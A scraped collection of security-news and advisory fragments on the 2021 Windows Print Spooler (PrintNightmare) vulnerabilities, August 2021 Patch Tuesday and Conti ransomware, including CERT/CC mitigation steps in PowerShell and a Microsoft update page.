Victor Mata of FusionX, Accenture Security, who has been credited with reporting the flaw, [said](<https://twitter.com/offenseindepth/status/1425574625384206339>) the issue was disclosed to Microsoft in December 2020.\n\n\"A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\" the company said in its out-of-band bulletin, echoing the vulnerability details for [CVE-2021-34481](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>). \"An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges.

The CERT Coordination Center, in a [vulnerability note](<https://www.kb.cert.org/vuls/id/131152>), is also advising users to block outbound SMB traffic to prevent connecting to a malicious shared printer.\n\n \n\n\nFound this article interesting?

{"threatpost": [{"lastseen": "2021-08-13T19:49:18", "description": "One day after dropping its scheduled August Patch Tuesday update, Microsoft issued a warning about yet another unpatched privilege escalation/remote code-execution (RCE) vulnerability in the Windows Print Spooler that can be filed under the [PrintNightmare umbrella](<https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/>).\n\nThe news comes amid plenty of PrintNightmare exploitation. Researchers from CrowdStrike warned in a [Wednesday report](<https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/>) that the operators of the Magniber ransomware quickly weaponized CVE-2021-34527 to attack users in South Korea, with attacks dating back to at least July 13. And Cisco Talos [said Thursday](<https://blog.talosintelligence.com/2021/08/vice-society-ransomware-printnightmare.html>) that the Vice Society gang was seen using CVE-2021-1675 and CVE-2021-34527 to spread laterally across a victim\u2019s network as part of a recent ransomware attack.\n\n\u201cIn technology, almost nothing ages gracefully,\u201d Chris Clements, vice president of solutions architecture and Cerberus security officer at Cerberus Sentinel, told Threatpost. \u201cThe Print Spooler in Windows is proving that rule. It\u2019s likely that the code has changed little in the past decades and likely still bears a striking resemblance to source code that was made public in previous Windows leaks. I\u2019ve heard it said that ransomware gangs might also be referred to as \u2018technical debt collectors,\u2019 which would be funnier if the people suffering most from these vulnerabilities weren\u2019t Microsoft\u2019s customers.\u201d\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe fresh zero-day bug, tracked as CVE-2021-36958, carries a CVSS vulnerability-severity scale rating of 7.3, meaning that it\u2019s rated as \u201cimportant.\u201d Microsoft said that it allows for a local attack vector requiring user interaction, but that the attack complexity is low, with few privileges required.\n\n\u201cA remote code-execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\u201d the computing giant explained in its [Wednesday advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>). \u201cAn attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change or delete data; or create new accounts with full user rights.\u201d\n\nThe CERT Coordination Center actually flagged the issue in mid-July, when it warned that a [working exploit](<https://twitter.com/gentilkiwi/status/1416429860566847490>) was available. That proof-of-concept (PoC), issued by Mimikatz creator Benjamin Delpy, comes complete with a video.\n\n> Hey guys, I reported the vulnerability in Dec'20 but haven't disclosed details at MSRC's request. It looks like they acknowledged it today due to the recent events with print spooler.\n> \n> \u2014 Victor Mata (@offenseindepth) [August 11, 2021](<https://twitter.com/offenseindepth/status/1425574625384206339?ref_src=twsrc%5Etfw>)\n\nOn Thursday, CERT/CC issued more details on the issue, explaining that it arises from an oversight in signature requirements around the \u201cPoint and Print\u201d capability, which allows users without administrative privileges to install printer drivers that execute with SYSTEM privileges via the Print Spooler service.\n\nWhile Microsoft requires that printers installable via Point are either signed by a WHQL release signature or by a trusted certificate, Windows printer drivers can specify queue-specific files that are associated with the use of the device, which leaves a loophole for malicious actors.\n\n\u201cFor example, a shared printer can specify a CopyFiles directive for arbitrary files,\u201d according to the CERT/CC [advisory](<https://www.kb.cert.org/vuls/id/131152>). \u201cThese files, which may be copied over alongside the digital-signature-enforced printer driver files, are not covered by any signature requirement. Furthermore, these files can be used to overwrite any of the signature-verified files that were placed on a system during printer driver install. This can allow for local privilege escalation to SYSTEM on a vulnerable system.\u201d\n\nMicrosoft credited Victor Mata of FusionX at Accenture Security with originally reporting the issue, which Mata said occurred back in December 2020:\n\n> Hey guys, I reported the vulnerability in Dec\u201920 but haven\u2019t disclosed details at MSRC\u2019s request. It looks like they acknowledged it today due to the recent events with print spooler.\n> \n> \u2014 Victor Mata (@offenseindepth) [August 11, 2021](<https://twitter.com/offenseindepth/status/1425574625384206339?ref_src=twsrc%5Etfw>)\n\nSo far, Microsoft hasn\u2019t seen any attacks in the wild using the bug, but it noted that exploitation is \u201cmore likely.\u201d With a working exploit in circulation, that seems a fair assessment.\n\n## **Print Spooler-Palooza and the PrintNightmare **\n\nDelpy characterized this latest zero-day as being part of the string of Print Spooler bugs collectively known as PrintNightmare.\n\nThe bad dream started in early July, when a PoC exploit for a bug tracked as CVE-2021-1675 was [dropped on GitHub](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>). The flaw was originally addressed in [June\u2019s Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>) from Microsoft as a minor elevation-of-privilege vulnerability, but the PoC showed that it\u2019s actually a critical Windows security vulnerability that can be used for RCE. That prompted Microsoft to issue a different CVE number \u2013 in this case, CVE-2021-34527 \u2013 to designate the RCE variant, and it prompted [an emergency partial patch](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>), too.\n\n\u201cThis vulnerability is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a different vulnerability in RpcAddPrinterDriverEx(),\u201d the company wrote in the advisory at the time. \u201cThe attack vector is different as well. CVE-2021-1675 was addressed by the June 2021 security update.\u201d\n\nBoth bugs \u2013 which are really just variants of a single issue \u2013 are collectively known as PrintNightmare. The PrintNightmare umbrella expanded a bit later in July, when yet another, [similar bug was disclosed](<https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/>), tracked as CVE-2021-34481. It remained unpatched until it was finally addressed with [an update](<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>) issued alongside the [August Patch Tuesday updates](<https://threatpost.com/exploited-windows-zero-day-patch/168539/>) (which itself detailed three additional Print Spooler vulnerabilities, one critical).\n\n## **How to Protect Systems from Print Spooler Attacks**\n\nAs mentioned, there\u2019s no patch yet for the bug, but users can protect themselves by simply stopping and disabling the Print Spooler service:\n\n\n\nSource: Microsoft.\n\nCERT/CC also said that since public exploits for Print Spooler attacks use the SMB file-sharing service for remote connectivity to a malicious shared printer, blocking outbound connections to SMB resources would thwart some attacks by blocking malicious SMB printers that are hosted outside of the network.\n\n\u201cHowever, Microsoft indicates that printers can be shared via the Web Point-and-Print Protocol, which may allow installation of arbitrary printer drivers without relying on SMB traffic,\u201d according to CERT/CC. \u201cAlso, an attacker local to your network would be able to share a printer via SMB, which would be unaffected by any outbound SMB traffic rules.\u201d\n\nIn its update advisory for CVE-2021-34481, Microsoft also detailed how to amend the default Point and Print functionality, which prevents non-administrator users from installing or updating printer drivers remotely and which could help mitigate the latest zero-day.\n\nWorried about where the next attack is coming from?

It rates 7.8 out of 10 on the CVSS vulnerability-severity scale.\n\nIndeed, [Baines told BleepingComputer](<https://www.bleepingcomputer.com/news/microsoft/microsoft-shares-guidance-on-new-windows-print-spooler-vulnerability/>) that while the bug is print driver-related, \u201cthe attack is not really related to PrintNightmare.\u201d Baines plans to disclose more about the little-known vulnerability in [an upcoming presentation](<https://defcon.org/html/defcon-29/dc-29-speakers.html#baines>) at DEF CON in August.\n\nThe entire saga surrounding Windows Print Spooler [began Tuesday, June 30](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>), when a proof-of-concept (PoC) for an initial vulnerability in the print service was dropped on GitHub showing how an attacker can exploit the flaw to take control of an affected system.\n\nThe response to the situation soon turned into confusion. Though Microsoft released an [update for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>) in it its usual raft of [monthly Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>), fixing what it thought was a minor elevation-of-privilege vulnerability, the listing was updated later in the week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, soon after it became clear to many experts that Microsoft\u2019s initial patch didn\u2019t fix the entire problem. The federal government even stepped in last Thursday, when CERT/CC [offered its own mitigation](<https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/>) for PrintNightmare that Microsoft has since adopted \u2014 advising system administrators to disable the Windows Print Spooler service in Domain Controllers and systems that do not print.\n\nTo further complicate matters, Microsoft also last Thursday dropped [a notice](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appeared to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527. The company explained that the second bug was similar to the earlier PrintNightmare vulnerability but also its own distinct entity.\n\nEventually, Microsoft last Wednesday [released an emergency cumulative patch](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>) for both PrintNightmare bugs that included all previous patches as well as protections for CVE-2021-1675 as well as a new fix for CVE-2021-34527.\n\nHowever, that fix also [was incomplete](<https://www.kb.cert.org/vuls/id/383432>), and Microsoft continues to work on further remediations as it also works to patch this latest bug, CVE-2021-34481. In the meantime, affected customers should install the most recent Microsoft updates as well as use the workaround to avoid exploitation, the company said.\n\n**_Check out our free _**[**_upcoming live and on-demand webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {}, "published": "2021-07-16T11:57:53", "type": "threatpost", "title": "Microsoft: Unpatched Bug in Windows Print Spooler", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34481", "CVE-2021-34527"], "modified": "2021-07-16T11:57:53", "id": "THREATPOST:A8242348917526090B7A1B23735D5C6C", "href": "https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-11T19:56:07", "description": "Microsoft has patched 51 security vulnerabilities in its scheduled August Patch Tuesday update, including seven critical bugs, two issues that were publicly disclosed but unpatched until now, and one that\u2019s listed as a zero-day that has been exploited in the wild.\n\nOf note, there are 17 elevation-of-privilege (EoP) vulnerabilities, 13 remote code-execution (RCE) issues, eight information-disclosure flaws and two denial-of-service (DoS) bugs.\n\nThe update also includes patches for three more Print Spooler bugs, familiar from the PrintNightmare saga.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/>)\n\n\u201cFortunately, it was a lighter month than usual,\u201d said Eric Feldman, senior product marketing manager at Automox, in a [Patch Tuesday analysis](<https://blog.automox.com/automox-experts-weigh-in-august-patch-tuesday-2021>) from the vendor. \u201cThis represents a 56 percent reduction in overall vulnerabilities from July, and 33 percent fewer vulnerabilities on average for each month so far this year. We have also seen a similar reduction in critical vulnerabilities this month, with 30 percent less compared to the monthly average.\u201d\n\n## **Windows Critical Security Vulnerabilities**\n\nThe seven critical bugs [addressed in August](<https://msrc.microsoft.com/update-guide/>) are as follows:\n\n * CVE-2021-26424 \u2013 Windows TCP/IP RCE Vulnerability\n * CVE-2021-26432 \u2013 Windows Services for NFS ONCRPC XDR Driver RCE Vulnerability\n * CVE-2021-34480 \u2013 Scripting Engine Memory Corruption Vulnerability\n * CVE-2021-34530 \u2013 Windows Graphics Component RCE Vulnerability\n * CVE-2021-34534 \u2013 Windows MSHTML Platform RCE Vulnerability\n * CVE-2021-34535 \u2013 Remote Desktop Client RCE Vulnerability\n * CVE-2021-36936 \u2013 Windows Print Spooler RCE Vulnerability\n\nThe bug tracked as **CVE-2021-26424** exists in the TCP/IP protocol stack identified in Windows 7 and newer Microsoft operating systems, including servers.\n\n\u201cDespite its CVSS rating of 9.9, this may prove to be a trivial bug, but it\u2019s still fascinating,\u201d said Dustin Childs of Trend Micro\u2019s Zero Day Initiative (ZDI) in his [Tuesday analysis](<https://www.zerodayinitiative.com/blog/2021/8/10/the-august-2021-security-update-review>). \u201cAn attacker on a guest Hyper-V OS could execute code on the host Hyper-V server by sending a specially crafted IPv6 ping. This keeps it out of the wormable category. Still, a successful attack would allow the guest OS to completely take over the Hyper-V host. While not wormable, it\u2019s still cool to see new bugs in new scenarios being found in protocols that have been around for years.\u201d\n\nThe next bug, **CVE-2021-26432** in Windows Services, is more likely to be exploited given its low complexity status, according to Microsoft\u2019s advisory; it doesn\u2019t require privileges or user interaction to exploit, but Microsoft offered no further details.\n\n\u201cThis may fall into the \u2018wormable\u2019 category, at least between servers with NFS installed, especially since the open network computing remote procedure call (ONCRPC) consists of an External Data Representation (XDR) runtime built on the Winsock Kernel (WSK) interface,\u201d Childs said. \u201cThat certainly sounds like elevated code on a listening network service. Don\u2019t ignore this patch.\u201d\n\nAleks Haugom, product marketing manager at Automox, added, \u201cExploitation results in total loss of confidentiality across all devices managed by the same security authority. Furthermore, attackers can utilize it for denial-of-service attacks or to maliciously modify files. So far, no further details have been divulged by Microsoft or the security researcher (Liubenjin from Codesafe Team of Legendsec at Qi\u2019anxin Group) that discovered this vulnerability. Given the broad potential impact, its label \u2018Exploitation More Likely\u2019 and apparent secrecy, patching should be completed ASAP.\u201d\n\nMeanwhile, the memory-corruption bug (**CVE-2021-34480**) arises from how the scripting engine handles objects in memory, and it also allows RCE. Using a web-based attack or a malicious file, such as a malicious landing page or phishing email, attackers can use this vulnerability to take control of an affected system, install programs, view or change data, or create new user accounts with full user rights.\n\n\u201cCVE-2021-34480 should also be a priority,\u201d Kevin Breen, director of cyber-threat research at Immersive Labs, told Threatpost. \u201cIt is a low score in terms of CVSS, coming in at 6.8, but has been marked by Microsoft as \u2018Exploitation More Likely\u2019 because it is the type of attack commonly used to increase the success rate of spear phishing attacks to gain network access. Simple, but effective.\u201d\n\nThe Windows Graphic Component bug (**CVE-2021-34530**) allows attackers to remotely execute malicious code in the context of the current user, according to Microsoft \u2013 if they can social-engineer a target into opening a specially crafted file.\n\nAnother bug exists in the Windows MSHTML platform, also known as Trident (**CVE-2021-34534**). Trident is the rendering engine (mshtml.dll) used by Internet Explorer. The bug affects many Windows 10 versions (1607, 1809,1909, 2004, 20H2, 21H1) as well as Windows Server 2016 and 2019.\n\nBut while it potentially affects a large number of users, exploitation is not trivial.\n\n\u201cTo exploit, a threat actor would need to pull off a highly complex attack with user interaction \u2013 still entirely possible with the sophisticated attackers of today,\u201d said Peter Pflaster, technical product marketing manager at Automox.\n\nThe bug tracked as **CVE-2021-34535** impacts the Microsoft Remote Desktop Client, Microsoft\u2019s nearly ubiquitous utility for connecting to remote PCs.\n\n\u201cWith today\u2019s highly dispersed workforce, CVE-2021-34535, an RCE vulnerability in Remote Desktop Clients, should be a priority patch,\u201d said Breen. \u201cAttackers increasingly use RDP access as the tip of the spear to gain network access, often combining it with privilege escalation to move laterally. These can be powerful as, depending on the method, it may allow the attacker to authenticate in the network in the same way a user would, making detection difficult.\u201d\n\nIt\u2019s not as dangerous of a bug [as BlueKeep,](<https://threatpost.com/one-million-devices-open-to-wormable-microsoft-bluekeep-flaw/145113/>) according to Childs, which also affected RDP.\n\n\u201cBefore you start having flashbacks to BlueKeep, this bug affects the RDP client and not the RDP server,\u201d he said. \u201cHowever, the CVSS 9.9 bug is nothing to ignore. An attacker can take over a system if they can convince an affected RDP client to connect to an RDP server they control. On Hyper-V servers, a malicious program running in a guest VM could trigger guest-to-host RCE by exploiting this vulnerability in the Hyper-V Viewer. This is the more likely scenario and the reason you should test and deploy this patch quickly.\u201d\n\n## **Windows Print Spooler Bugs \u2013 Again**\n\nThe final critical bug is **CVE-2021-36936**, a Windows Print Spooler RCE bug that\u2019s listed as publicly known.\n\nPrint Spooler made headlines last month, when Microsoft patched what it thought was a minor elevation-of-privilege vulnerability in the service (CVE-2021-1675). But the listing was updated later in the week, after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE \u2013 [requiring a new patch](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>).\n\nIt also disclosed a second bug, similar to PrintNightmare (CVE-2021-34527); and a third, [an EoP issue](<https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/>) ([CVE-2021-34481](<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>)).\n\n\u201cAnother month, another remote code-execution bug in the Print Spooler,\u201d said ZDI\u2019s Childs. \u201cThis bug is listed as publicly known, but it\u2019s not clear if this bug is a variant of PrintNightmare or a unique vulnerability all on its own. There are quite a few print-spooler bugs to keep track of. Either way, attackers can use this to execute code on affected systems. Microsoft does state low privileges are required, so that should put this in the non-wormable category, but you should still prioritize testing and deployment of this critical-rated bug.\u201d\n\nThe critical vulnerability is just one of three Print Spooler issues in the August Patch Tuesday release.\n\n\u201cThe specter of the PrintNightmare continues to haunt this patch Tuesday with three more print spooler vulnerabilities, CVE-2021-36947, CVE-2021-36936 and CVE-2021-34481,\u201d said Breen. \u201cAll three are listed as RCE over the network, requiring a low level of access, similar to PrintNightmare. Microsoft has marked these as \u2018Exploitation More Likely\u2019 which, if the previous speed of POC code being published is anything to go by, is certainly true.\u201d\n\n## **RCE Zero-Day in Windows Update Medic Service **\n\nThe actively exploited bug is tracked as **CVE-2021-36948** and is rated as important; it could pave the way for RCE via the Windows Update Medic Service in Windows 10 and Server 2019 and newer operating systems.\n\n\u201cUpdate Medic is a new service that allows users to repair Windows Update components from a damaged state such that the device can continue to receive updates,\u201d Automox\u2019 Jay Goodman explained. \u201cThe exploit is both low complexity and can be exploited without user interaction, making this an easy vulnerability to include in an adversary\u2019s toolbox.\u201d\n\nImmersive\u2019s Breen added, \u201cCVE-2021-36948 is a privilege-escalation vulnerability \u2013 the cornerstone of modern intrusions as they allow attackers the level of access to do things like hide their tracks and create user accounts. In the case of ransomware attacks, they have also been used to ensure maximum damage.\u201d\n\nThough the bug is being reported as being exploited in the wild by Microsoft, activity appears to remain limited or targeted: \u201cWe have seen no evidence of it at Kenna Security at this time,\u201d Jerry Gamblin, director of security research at Kenna Security (now part of Cisco) told Threatpost.\n\n## **Publicly Known Windows LSA Spoofing Bug**\n\nThe second publicly known bug (after the Print Spooler issue covered earlier) is tracked as **CVE-2021-36942**, and it\u2019s an important-rated Windows LSA (Local Security Authority) spoofing vulnerability.\n\n\u201cIt fixes a flaw that could be used to steal NTLM hashes from a domain controller or other vulnerable host,\u201d Immersive\u2019s Breen said. \u201cThese types of attacks are well known for lateral movement and privilege escalation, as has been demonstrated recently by a [new exploit called PetitPotam](<https://threatpost.com/microsoft-petitpotam-poc/168163/>). It is a post-intrusion exploit \u2013 further down the attack chain \u2013 but still a useful tool for attackers.\u201d\n\nChilds offered a bit of context around the bug.\n\n\u201cMicrosoft released this patch to further protect against NTLM relay attacks by issuing this update to block the LSARPC interface,\u201d he said. \u201cThis will impact some systems, notably Windows Server 2008 SP2, that use the EFS API OpenEncryptedFileRawA function. You should apply this to your Domain Controllers first and follow the additional guidance in [ADV210003](<https://msrc.microsoft.com/update-guide/vulnerability/ADV210003>) and [KB5005413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>). This has been an ongoing issue since 2009, and, likely, this isn\u2019t the last we\u2019ll hear of this persistent issue.\u201d\n\nMicrosoft\u2019s next Patch Tuesday will fall on September 14.\n\nWorried about where the next attack is coming from?

The company credited security researcher Jacob Baines for discovering and reporting the bug.\n\n\"An elevation of privilege vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations. An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges,\" the Windows maker said in its advisory. \"An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\"\n\nHowever, it's worth pointing out that successful exploitation of the vulnerability requires the attacker to have the ability to execute code on a victim system. In other words, this vulnerability can only be exploited locally to gain elevated privileges on a device.\n\n[](<https://thehackernews.com/images/-KUjZieTgFsk/YPENj7mkDHI/AAAAAAAADNo/7YO-HAzw4LQN5_eg5egoI8gP2YeP34pjwCLcBGAsYHQ/s0/hacking.jpg>)\n\nAs workarounds, Microsoft is recommending users to stop and disable the Print Spooler service to prevent malicious actors from exploiting the vulnerability.\n\nThe development comes days after the Redmond-based firm rolled out patches to address a critical shortcoming in the same component that it disclosed as being actively exploited to stage in-the-wild attacks, making it the third printer-related flaw to come to light in recent weeks.\n\nDubbed PrintNightmare ([CVE-2021-34527](<https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html>)), the vulnerability stems from a missing permission check in the Print Spooler that enables the installation of malicious print drivers to achieve remote code execution or local privilege escalation on vulnerable systems.\n\nHowever, it later emerged that the out-of-band security update could be entirely bypassed under specific conditions to gain both local privilege escalation and remote code execution. Microsoft has since said the fixes are \"working as designed and is effective against the known printer spooling exploits and other public reports collectively being referred to as PrintNightmare.\"\n\n \n\n\nFound this article interesting?

Three members of the Conti team have been identified so far, each playing the roles of admin (\"Tokyo\"), assistant (\"it_work_support@xmpp[.]jp\"), and recruiter (\"IT_Work\") to attract new affiliates into their network.\n\nWhile ransomware attacks work by encrypting the victims' sensitive information and rendering it inaccessible, threat actors have increasingly latched on to a two-pronged strategy called double extortion to demand a ransom payment for decrypting the data and threaten to publicly publish the stolen information if the payment is not received within a specific deadline.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgOlxdMar0Fk9C_1oq4rsZqCsRuaWDFa_UwPznj1p4XnxV22g7c-3gidrF7ZVnxd0TVDTn8qhzr16V265fVSa3d-p7SOODkUMikIREYKzV6MyCaPI1KWzNgYj3TduhqzgszRUX6zZkCytED5c4K-icaEZjwN4cvwnz1D0zehnwVGdYAwJXLo8uaJijX>)\n\n\"Conti customers \u2013 affiliate threat actors \u2013 use [a digital] management panel to create new ransomware samples, manage their victims, and collect data on their attacks,\" noted the researchers, detailing the syndicate's attack kill chain leveraging PrintNightmare ([CVE-2021-1675](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>), [CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>), and [CVE-2021-36958](<https://thehackernews.com/2021/08/microsoft-security-bulletin-warns-of.html>)) and FortiGate ([CVE-2018-13374](<https://nvd.nist.gov/vuln/detail/CVE-2018-13374>) and [CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>)) vulnerabilities to compromise unpatched systems.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEh5pQ7nISIe-f2lC7T7iJVkfmQ4L9uCXsO1rxdPo0YzkwJ4-Q15UkgDuRGhckTpdbAYrR1h3kYePBPrRNFWefg6MtaX_jlMsgcojwvu-zrrtvaw0hKxGJkD-dTl06UiZOX1R5kuboLkxyuot8hDBrgxX1fH8yoVdsv0e1f0rvziG6_Mw-IWMJUBBgQg>)\n\nEmerging on the cybercrime landscape in October 2019, Conti is believed to be the work of a Russia-based threat group called [Wizard Spider](<https://malpedia.caad.fkie.fraunhofer.de/actor/wizard_spider>), which is also the operator of the infamous [TrickBot](<https://thehackernews.com/2021/11/trickbot-operators-partner-with-shatak.html>) banking malware.

Printers installed via this technique also install queue-specific files, which can be arbitrary libraries to be loaded by the privileged Windows Print Spooler process.\n\n### Description\n\nMicrosoft Windows allows for users who lack administrative privileges to still be able to install printer drivers, which execute with `SYSTEM` privileges via the Print Spooler service. This ability is achieved through a capability called [Point and Print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>). Starting with the update for [MS16-087](<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-087>), Microsoft requires that printers installable via Point are either signed by a [WHQL release signature](<https://docs.microsoft.com/en-us/windows-hardware/drivers/install/whql-release-signature>), or are signed by a certificate that is explicitly trusted by the target system, such as an installed test signing certificate. The intention for this change is to avoid installation of malicious printer drivers, which can allow for Local Privilege Escalation (LPE) to `SYSTEM`.\n\nWhile Windows enforces that driver packages themselves are signed by a trusted source, Windows printer drivers can specify [queue-specific files](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/installing-queue-specific-files>) that are associated with the use of the device. For example, a shared printer can specify a `CopyFiles` directive for arbitrary files. These files, which may be copied over alongside the digital-signature-enforced printer driver files are **not** covered by any signature requirement. Furthermore, these files can be used to overwrite any of the signature-verified files that were placed on a system during printer driver install. The remote printer can also be configured to automatically execute code in any files dropped by the `CopyFiles` directive. This can allow for LPE to `SYSTEM` on a vulnerable system.\n\nAn exploit for this vulnerability is [publicly available](<https://twitter.com/gentilkiwi/status/1416429860566847490>).\n\n### Impact\n\nBy connecting to a malicious printer, an attacker may be able to execute arbitrary code with `SYSTEM` privileges on a vulnerable system.\n\n### Solution\n\nMicrosoft has published updates for [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>) regarding this issue. Please also consider the following workarounds:\n\n#### Block outbound SMB traffic at your network boundary\n\nPublic exploits for this vulnerability utilize SMB for connectivity to a malicious shared printer. If outbound connections to SMB resources are blocked, then this vulnerability may be mitigated for malicious SMB printers that are hosted outside of your network. Note that an attacker local to your network would be able to share a printer via SMB, which would be unaffected by any outbound SMB traffic rules.\n\n#### Configure both PackagePointAndPrintServerList and PackagePointAndPrintOnly settings\n\nMicrosoft Windows has a Group Policy called \"Package Point and Print - Approved servers\", which is reflected in the `HKLM\\Software\\Policies\\Microsoft\\Windows NT\\Printers\\PackagePointAndPrint\\PackagePointAndPrintServerList` and `HKLM\\Software\\Policies\\Microsoft\\Windows NT\\Printers\\PackagePointAndPrint\\ListofServers` registry values. This policy can restrict which servers can be used by non-administrative users to install printers via Point and Print. Configure this policy to prevent installation of printers from arbitrary servers.\n\nTo ensure that Microsoft Windows only attempts to install Package Point and Print printers, and therefore restricting printer connections to the approved servers list, you must also set the `HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PackagePointAndPrint\\PackagePointAndPrintOnly` registry value to `1`. The Group Policy setting that corresponds to this value is called \"Use only Package Point and print\". Setting this value to \"Enabled\" will enforce that only Package Point and Print printers will be used.\n\n**Both** of these settings must be configured to protect against exploitation of this vulnerability.\n\n#### Block the ability to modify the print spooler drivers directory\n\nCourtesy of the [TRUESEC Blog](<https://blog.truesec.com/2021/06/30/fix-for-printnightmare-cve-2021-1675-exploit-to-keep-your-print-servers-running-while-a-patch-is-not-available/>), this vulnerability can be mitigated by preventing the `SYSTEM` account from being able to modify the `C:\\Windows\\System32\\spool\\drivers` directory contents.\n\nTo enable this mitigation, from a privileged PowerShell session, run:\n \n \n $Path = \"C:\\Windows\\System32\\spool\\drivers\"\n $Acl = (Get-Item $Path).GetAccessControl('Access')\n $Ar = New-Object System.Security.AccessControl.FileSystemAccessRule(\"System\", \"Modify\", \"ContainerInherit, ObjectInherit\", \"None\", \"Deny\")\n $Acl.AddAccessRule($Ar)\n Set-Acl $Path $Acl\n \n\nTo revert the mitigation to allow printer driver installation or modification, run:\n \n \n $Path = \"C:\\Windows\\System32\\spool\\drivers\"\n $Acl = (Get-Item $Path).GetAccessControl('Access')\n $Ar = New-Object System.Security.AccessControl.FileSystemAccessRule(\"System\", \"Modify\", \"ContainerInherit, ObjectInherit\", \"None\", \"Deny\")\n $Acl.RemoveAccessRule($Ar)\n Set-Acl $Path $Acl\n \n\n#### Stop and disable the Print Spooler\n\nThe Print Spooler can be disabled in a privileged PowerShell session by running the following commands:\n \n \n Stop-Service -Name Spooler -Force\n Set-Service -Name Spooler -StartupType Disabled\n \n\n**Impact of workaround** Disabling the Print Spooler service disables the ability to print both locally and remotely.\n\n### Acknowledgements\n\nThis vulnerability was publicly disclosed by Benjamin Delpy.

Servicing stack updates (SSU) ensure that you have a robust and reliable servicing stack so that your devices can receive and install Microsoft updates.\n\n## Known issues in this update\n\n### \n\n__\n\nClick or tap to view the known issues\n\n**Symptom**| **Workaround** \n---|--- \nWhen using the Microsoft Japanese Input Method Editor (IME) to enter Kanji characters in an app that automatically allows the input of Furigana characters, you might not get the correct Furigana characters. You might need to enter the Furigana characters manually.**Note **The affected apps are using the **ImmGetCompositionString()** function.| This issue is resolved in KB5005101. \nDevices with Windows installations created from custom offline media or custom ISO image might have [Microsoft Edge Legacy](<https://support.microsoft.com/en-us/microsoft-edge/what-is-microsoft-edge-legacy-3e779e55-4c55-08e6-ecc8-2333768c0fb0>) removed by this update, but not automatically replaced by the new Microsoft Edge. This issue is only encountered when custom offline media or ISO images are created by slipstreaming this update into the image without having first installed the standalone servicing stack update (SSU) released March 29, 2021 or later.**Note **Devices that connect directly to Windows Update to receive updates are not affected. This includes devices using Windows Update for Business. Any device connecting to Windows Update should always receive the latest versions of the SSU and latest cumulative update (LCU) without any extra steps. | To avoid this issue, be sure to first slipstream the SSU released March 29, 2021 or later into the custom offline media or ISO image before slipstreaming the LCU. To do this with the combined SSU and LCU packages now used for Windows 10, version 20H2 and Windows 10, version 2004, you will need to extract the SSU from the combined package. Use the following steps to extract the SSU:\n\n 1. Extract the cab from the msu via this command line (using the package for KB5000842 as an example): **expand Windows10.0-KB5000842-x64.msu /f:Windows10.0-KB5000842-x64.cab &lt;destination path&gt;**\n 2. Extract the SSU from the previously extracted cab via this command line: **expand Windows10.0-KB5000842-x64.cab /f:* &lt;destination path&gt;**\n 3. You will then have the SSU cab, in this example named **SSU-19041.903-x64.cab**. Slipstream this file into your offline image first, then the LCU.\nIf you have already encountered this issue by installing the OS using affected custom media, you can mitigate it by directly installing the [new Microsoft Edge](<https://www.microsoft.com/edge>). If you need to broadly deploy the new 